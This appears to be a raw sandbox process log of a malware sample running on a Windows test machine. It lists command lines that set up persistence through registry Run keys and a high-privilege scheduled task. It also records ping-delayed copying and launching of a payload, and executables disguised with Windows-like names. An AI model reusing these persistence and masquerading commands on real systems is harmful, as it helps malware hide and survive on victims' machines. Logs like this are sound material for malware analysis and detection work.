powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows System Guard Runtime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows System Guard Runtime' -Value '"C:\Users\test22\AppData\Roaming\Windows System Guard Runtime\Windows System Guard Runtime.exe"' -PropertyType 'String'
2712cmd.exe "cmd" /C schtasks /create /tn \Windows System Guard Runtime /tr "C:\Users\test22\AppData\Roaming\Windows System Guard Runtime\Windows System Guard Runtime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
2780schtasks.exe schtasks /create /tn \Windows System Guard Runtime /tr "C:\Users\test22\AppData\Roaming\Windows System Guard Runtime\Windows System Guard Runtime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f
2952SecurityHealthService.exe "C:\Roamiing\SecurityHealthService.exe"
2552cmd.exe "cmd" /c ping 127.0.0.1 -n 37 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Runtime Brookeer" /t REG_SZ /d "C:\Users\test22\Music\\Videos\Runtime Brookeer.exe"
1176cmd.exe "cmd" /c ping 127.0.0.1 -n 47 > nul && copy "C:\Roamiing\dataencod.exe" "C:\Users\test22\Music\\Videos\Runtime Brookeer.exe" && ping 127.0.0.1 -n 47 > nul && "C:\Users\test22\Music\\Videos\Runtime Brookeer.exe"
3012msiexec2.exe "C:\Roamiing\msiexec2.exe"
2632InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
2840